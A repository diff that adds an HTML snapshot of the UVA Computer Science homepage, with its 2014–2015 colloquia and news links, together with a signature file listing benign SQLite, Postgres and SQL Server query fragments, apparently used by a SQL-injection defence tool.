+  <div id="navigation">
+    <div class="sidenav secondary">
+<ul id="top">
+
+
+
+
+<a href="" class="menuitem submenuheader">ABOUT CS</a>
+<div class="submenu">
+<ul>
+<li><a href="about/index.html">Welcome</a></li>
+<li><a href="/about/why.html">Why UVA?</a></li>
+<li><a href="/about/senioradvisoryboard.html">Senior Advisory Board</a></li>
+<li><a href="about/industrial-board.html">Industrial Advisory Board</a></li>
+<li><a href="about/diversity.html">Diversity</a></li>
+<li><a href="about/organizations.html">Organizations</a></li>
+<li><a href="about/museum/">Computer Museum</a></li>
+<li><a href="/events/videos.html">Videos</a></li>
+ </ul>
+ </div>
+
+<a href="" class="menuitem submenuheader">ACADEMICS</a>
+<div class="submenu"> 
+<ul>
+<li><a href="acad/">Overview</a></li>
+<li><a href="http://libra.cs.virginia.edu/handbook/ugrad-handbook.pdf">Undergraduate Handbook</a></li>
+<li><a href="http://libra.cs.virginia.edu/handbook/grad-handbook.pdf">Graduate Handbook</a></li>
+<li><a href="acad/bscs/">CS BS Major in SEAS</a></li>
+<li><a href="../acad/ba/about.html">CS BA Major in A&S </a></li>
+<li><a href="acad/cs_minor.html">CS Minor</a></li>
+<li><a href="acad/graduate_program/">CS Graduate Programs</a></li>
+<li><a href="http://www.cpe.virginia.edu/ugrads/">CpE Undergraduate Major</a></li>
+<li><a href="http://www.cpe.virginia.edu/grads/">CpE Graduate Program</a></li>
+<li><a href="../acad/declaring.html">Declaring a Major/Minor</a></li>
+</ul>
+</div>    
+ 
+<a href="" class="menuitem submenuheader">RESEARCH</a>
+<div class="submenu">
+<ul>
+<li><a href="research/">CS Research</a></li>
+<li><a href="research/areas.html">Projects by Areas</a></li>
+<li><a href="research/facilities.html">Facilities</a></li>
+<li><a href="http://www.cs.virginia.edu/research/technical.html">Technical Reports</a></li>
+</ul></div>
+
+<a href="" class="menuitem submenuheader">ADMISSIONS</a>
+<div class="submenu">
+<ul>
+<li><a href="admissions/grad/">Graduate Admissions</a></li>
+<li><a href="admissions/ug/">Undergraduate Admissions</a></li>
+</ul></div>
+ 
+<a href="" class="menuitem submenuheader">New Faculty</a>
+<div class="submenu">
+<ul>
+<li><a href="/people/faculty/newhires.html">New Computer Science Hires</a></li>
+</ul>
+</div> 
+ 
+<a href="" class="menuitem submenuheader">PEOPLE</a>
+<div class="submenu">
+<ul>
+<li><a href="people/faculty/">Faculty</a></li>
+<li><a href="people/grads/">Graduate Students</a></li>
+<li><a href="people/staff/">Staff</a></li>
+</ul></div>
+
+<a href="" class="menuitem submenuheader">EVENTS</a>
+<div class="submenu">
+<ul>
+  <li><a href="/events/">CS Events</a></li>
+  <li><a href="/events/calendar.html">Calendar of Events</a></li>
+  <li><a href="/events/colloquia/">Colloquia</a></li>
+  <li><a href="../events/colloquia/student-defenses.html">Student Defenses</a></li>
+  <li><a href="/giving/industrial-techtalks.html">Industrial Tech Talks</a></li>
+  <li><a href="/events/teatime/">Tea Time</a></li>
+</ul></div>
+ 
+<a href="" class="menuitem submenuheader">NEWS</a>
+<div class="submenu">
+<ul>
+<li><a href="pubs/index.html">CS Newsletter</a></li>
+<li><a href="../research/awards/index.html">Honors & Awards</a></li>
+<li><a href="/news/index.html">Recent News</a></li>
+</ul></div>
+
+<a href="" class="menuitem submenuheader">TECHNICAL REPORTS</a>
+<div class="submenu">
+<ul>
+<li><a href="http://libra.virginia.edu/?f[object_type_facet][]=Article&f[uva_department_display_facet][]=Department+of+Computer+Science&sort=year_i+desc%2C+system_create_dt+desc">Computer Science</a></li>
+<li><a href="http://libra.virginia.edu/?f[object_type_facet][]=Doctoral+Dissertation&f[uva_department_display_facet][]=Department+of+Computer+Science&sort=year_i+desc%2C+system_create_dt+desc">Dissertations</a></li>
+<li><a href="http://libra.virginia.edu/?f[object_type_facet][]=Fourth+Year+Thesis&f[uva_department_display_facet][]=Department+of+Computer+Science&sort=year_i+desc%2C+system_create_dt+desc">4th Year Theses</a></li>
+</ul>
+</div>
+
+ 
+<a href="" class="menuitem submenuheader">SUPPORT</a>
+<div class="submenu">
+<ul>
+<li><a href="giving/">Give to CS</a></li>
+</ul></div>
+ 
+<a href="" class="menuitem submenuheader">CONTACT</a>
+<div class="submenu">
+<ul>
+<li><a href="contact/contactus.html">Contact Us</a></li>
+<li><a href="contact/maps.html">Maps and Directions</a></li>
+<li><a href="contact/directory.html">CS Directory</a></li>
+</ul></div>
+
+<a href="" class="menuitem submenuheader">FORMS</a>
+<div class="submenu">
+<ul>
+<li><a href="forms/index.html">Forms Directory</a></li>
+</ul>
+</div>
+
+<a href="" class="menuitem submenuheader">CLASS SCHEDULE</a>
+<div class="submenu">
+<ul>
+<li><a href="http://rabi.phys.virginia.edu/mySIS/CS2/page.php?Type=Group&Group=CompSci">Class Schedule</a></li>
+<li><a href="http://www.cs.virginia.edu/spring-2015-registration-policy/">Undergrad Registration Policy</a></li>
+</ul>
+</div>
+
+
+<a href="" class="menuitem submenuheader">FACULTY OFFICE HOURS</a>
+<div class="submenu">
+<ul>
+<li><a href="https://docs.google.com/spreadsheets/d/1loxnA4aCWyXv7O3QpTHOxO6jmcRh1uAT1xElVwKwyPM/edit#gid=0">Spring 2015 Office Hours</a></li>
+</ul></div>
+
+<a href="" class="menuitem submenuheader">Graduate Student Group</a>
+<div class="submenu">
+<ul>
+<li><a href="http://www.cs.virginia.edu/~csgsg/">Grad Student Grp Website</a></li>
+</ul></div>
+
+<a href="" class="menuitem submenuheader"><font color="#FF0000"><b>EMPLOYMENT</b></font></a>
+<div class="submenu">
+  <ul>
+<li><a href="/jobs/index.html"><font color="#FF0000">Jobs @UVACS</font></a></li>
+<ul><li><a href="/jobs/2014-Faculty-Search.pdf"><font color="#FF0000">Faculty Positions</font></a></li>
+</ul>
+</ul>
+</div>
+
+
+<a href="" class="menuitem submenuheader">Lost & Found</a>
+<div class="submenu">
+<ul>
+<li><a href="about/lostandfound.html">Lose something? Check here</a></li>
+</ul>
+</div>
+
+<a href="" class="menuitem submenuheader">RESERVATIONS</a>
+<div class="submenu">
+<ul>
+<li><a href="http://www.cs.virginia.edu/~csadmin/reservations/">Reservation System</a></li>
+</ul></div>
+
+</ul></div>
+
+
+
+    <!--<div class="calendar">
+
+
+
+  <img src="images/temp_cal.jpg" alt="calendar" width="160" height="120" />
+
+
+
+  </div> -->
+    <div class="clearer"></div>
+
+  </div>
+  <!-- //div#navigation -->
+  <div id="page-content">
+    <div id="hpfeature-container">
+      <div id="hpfeature-text">
+        <h2>CS at U.Va.</h2>
+        <hr />
+        <p>The U.Va. Department of Computer Science is a nationally recognized leader in computer science research and education. Our department includes 28 faculty members, 80 graduate students and 680 undergraduates. Faculty are active in fundamental computer science and engineering research and are engaged in interdisciplinary initiatives with scientists, humanists, engineers in other disciplines and medical personnel.</p>
+        <p>Our graduate students transition from students to collaborators through participation in world-class research projects. Our undergraduates are involved in research and are enriched by an integrated and challenging curriculum.</p>
+      </div>
+      <div id="hpfeature-photo">
+      <img src="images/OpenHouse2015/CSISFORU1.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/OpenHouse2015/Mohamed-and-Elaheh.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/CAP-group.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/OpenHouse2015/research1-2.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/OpenHouse2015/Student-talking-open-house.jpg"433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/grad-CAP-photos030.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/OpenHouse2015/KeDou.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/basit1.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/qi.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/barnes1.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/luther1.jpg" width="433" height="315" alt="Welcome to Computer Science"/>  
+      <img src="images/mahmoody1.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/ICPC13.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/Awards14/awards14-1.jpg" width="433" height="315" alt="Welcome to Computer Science"/>
+      <img src="images/floryan1.jpg" width="433" height="315" alt="Welcome to Computer Science"/></div>
+      <!--<div id="feature-logo">
+
+
+
+   <img src="images/feature-logo.png" />
+
+
+
+   </div>-->
+    </div>
+    <!-- //div#hpfeature-container -->
+    <hr class="clear" />
+    <h2 class="printtitle">Features:</h2>
+    <div id="nav-wrapper">
+      <table id="topnav">
+<tr>
+   
+	<td class="nav-title"><a class="nav-title">CS For ...</a></td>
+    <!--Links Below-->
+    
+    <td align= "center"><a href="/csfor/current.html" class="">Current Students</a></td><td class="separator">|</td>
+    <td><a href="/csfor/prospective_ug.html" class="">Prospective Undergrads</a></td><td class="separator">|</td>
+    <td><a href="/csfor/prospective_g.html" class="">Prospective Grads</a></td><td class="separator">|</td>
+    <td><a href="/csfor/fac_staff.html" class="">Faculty &amp; Staff</a></td><td class="separator">|</td>
+    <td><a href="/csfor/alumni.html" class="">Alumni </a></td><td class="separator">|</td>
+    <td><a href="/csfor/visitors_parents.html" class="">Visitors</a></td>
+    
+        
+        
+</tr>
+</table>
+<div style="clear:both"></div>
+
+    </div>
+    <div class="content-box" id="box1">
+      <h3 align="center">Colloquia &amp; <br />
+        Student Defense Presentations</h3>
+      <div class="content-content">
+        <p align="center">[<a href="events/colloquia/student-defenses.html">More Student Defenses</a>] |  [<a href="events/colloquia/">More Colloquia</a>]</p>
+        <p></p>
+        <ul>
+        <li>Md Abu Sayeed Mondol, April 7, 2015 <a href="events/colloquia/mondol.html">Harmony: A Hand Wash Monitoring and Reminder System using Smart Watches</a></li>
+        <li>Ifat Emi - Friday, April 3, 2015 <a href="events/colloquia/emi.html">SARRIMA:  Smart ADL Recognizer and Resident Identifier in Multi-resident Accommodations</a></li>
+        <li>Xiaofan (Fred) Jiang, co-Founder and CTO of Air Scientific Inc. - Friday, March 27, 2015 <a href="events/colloquia/XiaofanJiang.html">Data, Knowledge, and Action - Bringing Together Intenet-of-Things with Physical Analytics</a></li>
+        
+        <li>Xuehai Qian, University of California, Berkeley - Friday, March 20, 2015 <a href="events/colloquia/qian.html">Taming Relaxed Memory Consistency and Non-determinism in Parallel Systems</a></li>
+        
+        <li>Samira Kahn, Carnegie Mellon University - Wednesday, March 18, 2015 <a href="events/colloquia/kahn.html">Solving the DRAM Scaling Challenge: Rethinking the Interface between Circuits, Architecture, and Systems</a></li>
+        
+        <li>Simon Sibomana - Tuesday, March 17, 2015 <a href="events/colloquia/sibomana.html">Modularizing Trust: A Framework for Cloud Storage Security</a></li>
+        <li>Lena Mashayekhy, Wayne State University - Tuesday, March 17, 2015 <a href="events/colloquia/mashayekhy.html"> Resource Management in Cloud and Big Data Systems </a></li>
+        <li> Vladimir  Kim, Stanford University - Friday, February 27, 2015 <a href="events/colloquia/kim2.html">  Structure  and Function in Large Collections of 3D Models</a></li>
+        <li>Baishakhi  Ray, University of California, Davis - Thursday, February 26, 2015 <a href="events/colloquia/ray.html">Leveraging  Big  Software  Data  to Improve Software Quality</a></li>
+        <li>Bruno Ribeiro, Carnegie Mellon University - Wednesday, February 25, 2015 <a href="events/colloquia/ribeiro.html">Mining  and Predicting a Complex Networked World: Theory, Models and  Applications</a></li>
+        <li>Eric Wustrow, University of Michigan - Tuesday, February 24, 2015 <a href="events/colloquia/wustrow.html"> Anticensorship in the Network</a></li>
+        <li>UVA Applied Research Institute is sponsoring a one-hour disscusion on "Net Neutrality" - Wednesday, March 4, 2015. To register and learn more visit: <a href="http://www.groundsonthego.com">groundsonthego.com</a></li>
+        <li>Chong Tang - Thursday, February 26, 2015  <a href="events/colloquia/ctang.html"> Potential Benefits of Synthesis from Relational Logic Specifications</a></li>
+        <li>Jason Wiese, Carnegie Mellon University - Wednesday, February 18, 2015 <a href="events/colloquia/wiese.html"> Enabling an Ecosystem of Personal Behavioral Data</a></li>
+        <li>Abbas Naderi Afooshteh - Tuesday, February 17, 2015 <a href="events/colloquia/afooshteh.html">Thwarting SQL Injection Attacks on Web Applications Using Hybrid Taint Inference</a></li>
+        <li>Ben Rodes - Tuesday, January 13, 2015 <a href="events/colloquia/rodes3.html">Speculative Software Modification </a></li>
+        <li>Prabal Dutta - Thursday, December 11, 2014 <a href="events/colloquia/dutta2.html">Scalable Sensor Infrastructure for Sustainably Managing the Built Environment</a></li>
+        <li>Liang Wang - Tuesday, December 9, 2014 <a href="events/colloquia/lwang2.html">PEARL: A First-order Modeling Framework for Power-Efficient and Reliable Multiprocessing System</a></li>
+        <li>Jian Xiang - Monday, December 1, 2014 <a href="events/colloquia/xiang.html">Real-World Types and Their Uses</a></li> 
+        <li>Sirajum Munir - Monday, November 24, 2014 <a href="events/colloquia/munir3.html">Integration of Cyber-Physical Systems for Smart Homes</a></li>
+        <li>Ritambhara Singh - Tuesday, November 18, 2014 <a href="events/colloquia/singh.html">Cross-Context Prediction of Transcription Factor Binding Sites for Unannotated ENCODE Data</a></li>
+ 		<li>Firoze Lafeer, Head of Capital One's Technical Fellows program - Thursday, November 6, 2014 <a href="events/colloquia/lafeer.html">Mashing banking services together in a functional reactive way</a></li>
+        <li>Aadrosh Ratan, Asst. Prof., Center for Public Health Genomics - Monday, November 3, 2014 <a href="events/colloquia/ratan.html">Split-alignment of Short Sequences and Subsequent Identification of Variants</a></li>
+
+         
+       
+        </ul>
+        <p></p>
+      </div>
+    </div>
+    <!-- //div#box1 -->
+    <div class="content-box" id="box2">
+      <h3 align="center">News<br />
+        <br />
+      </h3>
+      <div class="content-content">
+        <ul>
+        <li><a href="http://www.seas.virginia.edu/pubs/enews/enews_mar15/jones.php">Atrium in Rice Hall Named After Anita Jones, <i>UVA Emeritus Professor of Computer Science</i> </a></li>
+        <li><a href="http://www.cavalierdaily.com/article/2015/02/university-announces-new-engineering-dean">UVA announces new Engineering Dean: Craig Benson</a></li>
+        <li><a href="http://seas.virginia.edu/pubs/unbound/win15/micron.php">Engineering School Partners with Micron on Groundbreaking Processor, <i>A Worldwide Center For Advanced Processing Research</i></a></li>
+        <li><a href="http://seas.virginia.edu/pubs/unbound/win15/asare.php">An article about graduate student, Philip Asare, who works with Prof. Jack Stankovic and Prof. John Lach: "Improving Design Through Research and Teaching"</a>        </li>
+        <li><a href="images/rose-sale15.jpg">Feb. 14th 11-5: Society of Women Engineers Rose sale - Come by and by a rose!</a></li>
+        <li><a href="http://news.virginia.edu/content/revamped-princeton-review-best-value-rankings-lists-uva-no-1-public">Revamped Princeton Review 'Best Value' Rankings lists UVA is listed as the nation's top public school for affordability, academics and career prospects</a></li>
+        <li><a href="events/HoosInvent1.15.jpg">Hoos Invent general meeting today, Friday, January 30th at 4:30 in Thornton A123. Come see what it's all about!</a></li>
+        <li><a href="news/town-hall_1.15.html">Town Hall Meeting with CS Chair Kevin Skadron today 1/27/15</a></li>
+        <li><a href="news/google_1.15.html">Google Engineering Events on Grounds this week</a></li>
+        <li><a href="http://www.news.virginia.edu/content/anticipating-your-next-question">UVA Today article about Prof. Hongning Wang's research: &quot;Anticipating Your Next Question&quot;</a></li>
+        <li><a href="news/pdfs/CSIIPInteractiveFlyer.pdf">Interactive flyer for the Commonwealth STEM Industry Internship Program</a></li>
+        <li><a href="http://www.cavalierdaily.com/article/2014/12/uva-engineering-professor-honored-for-work-with-software-and-mentorship?_h=7c212dc4-7b3a-4a03-8932-6e203a409ad0">Prof. Mary Lou Soffa honored for her work in software engineering and mentorship</a></li>
+        <li><a href="http://www.cavalierdaily.com/article/2014/11/uva-engineering-department-looks-to-expand-computer-science-opportunities">Computer Science department working to meet increasing demand</a></li>
+        <li><a href="http://www.infoworld.com/article/2693154/components-processors/micron-provides-a-software-view-into-new-coprocessor.html">UVA's Automata Center in the news: "Micron provides a software view into new coprocessor"</a></li>
+        <li><a href="http://labs.yahoo.com/news/2014-yahoo-ace-award-recipients-selected/">Hongning Wang has just been named one of the winners of a Yahoo Academic Career Enhancement Award, for "top young faculty members in Yahoo relevant academic areas, to help them as they start on their academic careers."</a></li>
+        <li><a href="http://www.cs.virginia.edu/yanjun/paperA14/201408_bodynets.pdf">Best Paper Award: Jiaqi Gong, Philip Asare, John Lach, and Yanjun Qi, "Piecewise Linear Dynamical Model for Actions Clustering from Inertial Body Sensors with Considerations of Human Factors", 9th International Conference on Body Area Networks (BodyNets2014), Sep. 2014.</a></li>
+        <li><a href="http://it.careercast.com/article/best-it-and-engineering-jobs-2014">From CareerCast IT & Engineering Network: "The Nation's Best STEM Jobs"</a></li>
+        <li><a href="https://www.cs.virginia.edu/~stankovic/psfiles/vocal-diary.pdf">Best Paper Award: Enamel Hoque, Robert Dickerson, and Jack Stankovic, "Vocal-Diary: A Voice Command Based Ground Truth Collection System for Activity Recognition," Wireless Health, Oct. 2014.</a></li>
+         <li><a href="http://cacm.acm.org/news/179075-us-may-be-falling-behind-in-researching-techs-next-big-thing/fulltext">U.S. May Be Falling Behind in Researching Tech's Next Big Thing</a></li>
+          <li><a href="https://www.youtube.com/watch?v=eaPwwCAhkB4">Prof. Mark Sherriff accepts the ice bucket challenge!</a></li>
+          <li><a href="http://www.darpa.mil/NewsEvents/Releases/2014/06/03.aspx">Jack Davidson and John Knight and their research groups, as part of a team with GrammaTech, have been selected as one of the seven funded competitors in the DARPA Cyber Grand Challenge</a></li>
+        <li><a href="http://research.microsoft.com/apps/video/default.aspx?id=221402">Prof. Jack Stankovic is interviewed by Microsoft about "Smart Homes, Smart Phones, and Beyond."</a></li>
+        <li><a href="http://www.movoto.com/blog/top-ten/most-exciting-places-in-virginia/">Charlottesville is the #1 most exciting place in Virginia!</a></li>
+<li><a href="http://www.goodhousekeeping.com/health/wellness/happiest-cities-in-america?src=soc_fcbks">Charlottesville is also the happiest city in America!</a></li>
+        <li><a href="http://www.cs.virginia.edu/~smn8z/paper/coingps-mobisys2014.pdf">Congratulations to Shahriar Nirjon for winning the best paper award at MOBISYS 2014!</a></li>
+<li><a href="http://news.virginia.edu/content/what-happens-when-right-app-doesn-t-know-what-left-app-doing">"What Happens When the Right App Doesn't Know What the Left App is Doing?" - Prof. Jack Stankovic</a></li>
+        <li><a href="https://news.virginia.edu/content/four-uva-awarded-funds-advance-research-economic-growth-state">Prof. and Chair Kevin Skadron and 3 others at UVA were Awarded Funds to Advance Research, Economic Growth in State</a></li>   
+        <li><a href="http://sites.nationalacademies.org/CSTB/CSTB_040772">Congratulations to Jack Stankovic - he has been invited to serve another three-year term on the NRC Computer Science and Telecommunications Board.</a></li>
+        <li><a href="http://www.buzzfeed.com/exxonmobil/signs-you-were-born-to-be-an-engineer#2a5xdqv">15 Signs You Were Born to Be an Engineer</a></li>
+		<li><a href="http://blogs.wsj.com/atwork/2014/09/03/salaries-for-2014-grads-are-greater-than-expectations/?KEYWORDS=Education">Average starting salaries are up for CS graduates in 2014</a></li>
+        <li><a href="http://www.bestcollegereviews.org/features/most-beautiful-college-campuses/">UVA #1 Most Beautiful Campus</a></li>
+        <li><a href="news/#Aug14">Congratulations to Jim and Joanne Cohoon, who just got a $1.4M NSF grant.</a></li>
+        <li><a href="news/anitaatrium.html">The atrium of Rice Hall has been named Jones Atrium for Prof. Anita Jones, with a generous donation from Leidos.</a></li>
+        <li><a href="">Congratulations to Prof. Jack Stankovic - his h-index passed 100 according to Google scholar</a></li>
+        <li><a href="http://www.technologyreview.com/summit/14/digital/video/watch/connected-home-whitehouse/">Prof. Kamin Whitehouse: "If Homes Could Talk"</a></li>
+        <li><a href="http://www.theatlantic.com/technology/archive/2014/05/a-photo-filter-for-your-face/371859/">UVA Prof. Connelly Barnes and team have created "A Photo Filter, Just for Your Face"</a> </li>
+        <li><a href="https://news.virginia.edu/content/award-winning-computer-scientist-opens-door-women">UVA Today's article on Prof. Mary Lou Soffa, "Award-Winning Computer Scientist Opens Door to Women"</a></li>
+        <li><a href="http://www.theatlantic.com/business/archive/2014/03/which-college-and-which-major-will-make-you-richest/359628/">Which college and major will make you the richest? "For the best dollar-for-dollar investment, nothing beats the University of Virginia."</a></li>
+        <li><a href="http://www.amazon.com/Social-Skills-Assessment-Through-Games/dp/0615979130">Computer Science Alumnus Is an Author of New Book About Game-Based Social Skills Assessments for Children</a></li>
+        <li><a href="http://blog.cs.brown.edu/2014/05/19/brown-cs-alumnus-jack-stankovic-receive-university-york-honorary-doctorate/">Brown Computer Science Blog about UVA CS Prof. Jack Stankovic</a></li>
+        <li><a href="http://www.today.com/health/fittest-city-boulder-colo-once-again-tops-list-2D79486823">Charlottesville is fit!</a></li>
+        </ul>
+        <p class="more">[<a href="news/">More News</a>]</p>
+      </div>
+    </div>
+    <!-- //div#box2 -->
+  </div>
+  <!-- //div#page-content -->
+</div>
+
+
+<div id="wrapper">
+<div id="footer">
+  <div>
+   <div id="contactinfo">
+    <h3 class="printtitle">Contact Info:</h3>
+    <dl class="contact">
+      <dt class="title"></dt><dd class="title">Computer Science</dd>
+      <dt class="phone">Phone: </dt><dd class="phone">434.982.2200</dd>
+      <dt class="fax">Fax: </dt><dd class="fax">434.982.2214</dd>
+    </dl>
+    <ul class="address">
+      <li>85 Engineer&#8217;s Way</li>
+      <li>P.O. Box 400740</li>
+      <li>Charlottesville, VA  22904-4740</li>
+    </ul>
+   </div>
+    <p id="version"><span class="un_jtt_hide print"><a href="http://transcoder.usablenet.com/tt/referrer">Text Version</a> | <a href="javascript:printVersion();">Print Version</a><noscript><em><br />(Print Links Require JavaScript)</em></noscript></span></p>
+    <p id="siteinfo">Maintained by: <script type="text/javascript">email = writemail('webteam', 'cs.virginia', 'edu', 'webteam@cs.virginia.edu'); document.write(email);</script><br />
+      Last Modified: Friday, 27-Mar-2015 15:12:12 EDT<br />
+
+  </div>
+  </div>
+  <!-- //div#footer -->
+<script type="text/javascript">
+var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");
+document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));
+</script>
+<script type="text/javascript">
+var pageTracker = _gat._getTracker("UA-718302-8");
+pageTracker._trackPageview();
+</script>
+
+
+
+</div>
+
+
+
+
+
+
+
+
+
+
+
+<!-- //div#wrapper -->
+
+
+
+</body>
+
+
+
+</html>
+
+
+
+
+
+
+
+<script type="text/javascript">
+
+
+
+// Slideshow - tiny dirt.
+
+
+
+    $('#hpfeature-photo').cycle({
+
+
+
+        fx: 'fade', // one of: fade, shuffle, zoom, slideX, slideY, scrollUp/Down/Left/Right
+
+
+
+        timeout: 6000, // milliseconds between slide transitions (0 to disable auto advance)
+
+
+
+        speed: 1600, // speed of the transition (any valid fx speed value)
+
+
+
+        speedIn: null, // speed of the 'in' transition
+
+
+
+        speedOut: null, // speed of the 'out' transition
+
+
+
+        startingSlide: 0, // zero-based index of the first slide to be displayed
+
+
+
+        sync: 1, // true if in/out transitions should occur simultaneously
+
+
+
+        random: 0, // true for random, false for sequence (not applicable to shuffle fx)
+
+
+
+        fit: 0, // force slides to fit container
+
+
+
+        pause: 1, // true to enable "pause on hover"
+
+
+
+        autostop: 0, // true to end slideshow after X transitions (where X == slide count)
+
+
+
+        delay: 0, // additional delay (in ms) for first transition (hint: can be negative)
+
+
+
+        next: '#hpfeature-photo' // clicking the element advances to the next image (takes '#id')
+
+
+
+    });
+
+
+
+</script>
+
+
+
diff --git a/peasoup_examples/tools/signatures/sqlite.sigs b/peasoup_examples/tools/signatures/sqlite.sigs
new file mode 100644
index 0000000000000000000000000000000000000000..19e3d76e5089383e15ca6874c6518e3b83f6e013
--- /dev/null
+++ b/peasoup_examples/tools/signatures/sqlite.sigs
@@ -0,0 +1,151 @@
+) || ', ' || 
+) + 1, 1)
++18) ELSE name END WHERE tbl_name=
+AND block IS NULL
+AND idx < 
+AND idx = 
+AND rootpage=
+AND type='index'
+' AND type='index' THEN 'sqlite_autoindex_' || 
+AND type='index' THEN 'sqlite_autoindex_' || 
+begin; select pg_catalog.pg_client_encoding(); end 
+begin; select version(); end 
+COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
+CREATE INDEX
+CREATE TABLE 
+CREATE TABLE sqlite_master(
+CREATE TEMP TABLE sqlite_temp_master(
+'CREATE TRIGGER 
+dbprrow select column = 
+ELSE name END WHERE tbl_name=
+ELSE sqlite_rename_table(sql,
+ELSE sqlite_rename_table(sql, 
+) END, tbl_name = 
+END, tbl_name = 
+FROM main.sqlite_master
+FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence'   AND rootpage>0
+FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
+FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
+GROUP BY level HAVING count(*)>=
+insert bulk 
+INSERT INTO vacuum_db.sqlite_master
+INSERT INTO vacuum_db.sqlite_master   SELECT type, name, tbl_name, rootpage, sql    FROM main.sqlite_master   WHERE type='view' OR type='trigger'      OR (type='table' AND rootpage=0)
+INSERT OR REPLACE INTO
+', name=
+, name = CASE WHEN type='table' THEN 
+(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE 
+(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);
+ORDER BY 1 ASC
+ORDER BY idx ASC
+ORDER BY (level %% 1024) ASC LIMIT 1
+ORDER BY level DESC, idx ASC
+ORDER BY rowid
+OR (type='table' AND rootpage=0)
+OR type='trigger'
+PQgetvalue
+PQoidValue
+PQsetvalue
+quote(name) || ' SELECT * FROM main.' || quote(name) || ';'
+, root = 
+, rootpage=
+rootpage=
+, rootpage=0, sql=
+(rowid INTEGER PRIMARY KEY, nodeno INTEGER);
+SELECT 
+SELECT 1 FROM 
+select 1 where 0=1
+select 1 where 0=1 
+SELECT 2 * total(1 + leaves_end_block - start_block)   FROM
+SELECT coalesce((SELECT max(blockid) FROM
+SELECT count(*) FROM 
+SELECT 'CREATE INDEX vacuum_db.'
+SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14)  FROM sqlite_master WHERE sql LIKE 'CREATE INDEX
+SELECT 'CREATE INDEX vacuum_db.' || substr(sql,14)  FROM sqlite_master WHERE sql LIKE 'CREATE INDEX %' 
+SELECT 'CREATE TABLE vacuum_db.'
+SELECT 'CREATE TABLE vacuum_db.' || substr(sql,14)   FROM sqlite_master WHERE type='table' AND name!='sqlite_sequence'   AND rootpage>0
+SELECT 'CREATE UNIQUE INDEX vacuum_db.'
+SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21)   FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX 
+SELECT 'CREATE UNIQUE INDEX vacuum_db.' || substr(sql,21)   FROM sqlite_master WHERE sql LIKE 'CREATE UNIQUE INDEX %'
+SELECT data FROM 
+SELECT @@datefirst
+SELECT DATEPART(dy,'01/02/03')
+SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';'
+SELECT 'DELETE FROM vacuum_db.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence' 
+SELECT DISTINCT level / (1024 *
+select * from 
+SELECT idx FROM 
+SELECT idx, start_block, leaves_end_block, end_block, root FROM 
+SELECT idx, start_block, leaves_end_block, end_block, root FROM %Q.'%q_segdir' WHERE level BETWEEN ? AND ?ORDER BY level DESC, idx ASC
+SELECT idx, start_block, leaves_end_block, end_block, root FROM %Q.'%q_segdir' WHERE level = ? ORDER BY idx ASC
+SELECT 'INSERT INTO vacuum_db.' || 
+SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'
+SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' 
+SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence'   AND rootpage>0
+SELECT 'INSERT INTO vacuum_db.' || quote(name) || ' SELECT * FROM main.' || quote(name) || ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
+SELECT length(data) FROM 
+SELECT level FROM 
+SELECT max( level %% 1024 ) FROM 
+SELECT max(level) FROM 
+SELECT name, rootpage, sql FROM 
+SELECT name, rootpage, sql FROM '%q'.%s WHERE %s ORDER BY rowid
+SELECT nodeno FROM 
+SELECT NOT EXISTS(SELECT docid FROM 
+SELECT NOT EXISTS(SELECT docid FROM %Q.'%q_content' WHERE rowid!=?)
+SELECT @@options
+SELECT parentnode FROM 
+select pg_client_encoding()
+select proname, oid from pg_catalog.pg_proc where proname in ('lo_open', 'lo_close', 'lo_creat', 'lo_create', 'lo_unlink', 'lo_lseek', 'lo_tell', 'lo_truncate', 'loread', 'lowrite') and pronamespace = (select oid from pg_catalog.pg_namespace where nspname = 'pg_catalog') 
+select proname, oid from pg_proc where proname = 'lo_open' or proname = 'lo_close' or proname = 'lo_creat' or proname = 'lo_unlink' or proname = 'lo_lseek' or proname = 'lo_tell' or proname = 'loread' or proname = 'lowrite' 
+SELECT (SELECT max(idx) FROM 
+SELECT size FROM 
+select @@spid
+SELECT tbl,idx,stat FROM %Q.sqlite_stat1
+SELECT @@textsize
+SELECT type, name, tbl_name, rootpage, sql
+SELECT value FROM
+SELECT value FROM 
+SET FMTONLY OFF
+SET FMTONLY ON select * from
+SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, 
+SET sql = sqlite_rename_parent(sql, 
+SET sql = substr(sql,1,
+SET start_block = 
+SET type='table', name=
+, sql=
+sqlite_master ORDER BY
+.sqlite_master ORDER BY rowid
+sqlite_master WHERE
+sqlite_sequence set name = 
+sqlite_temp_master ORDER BY
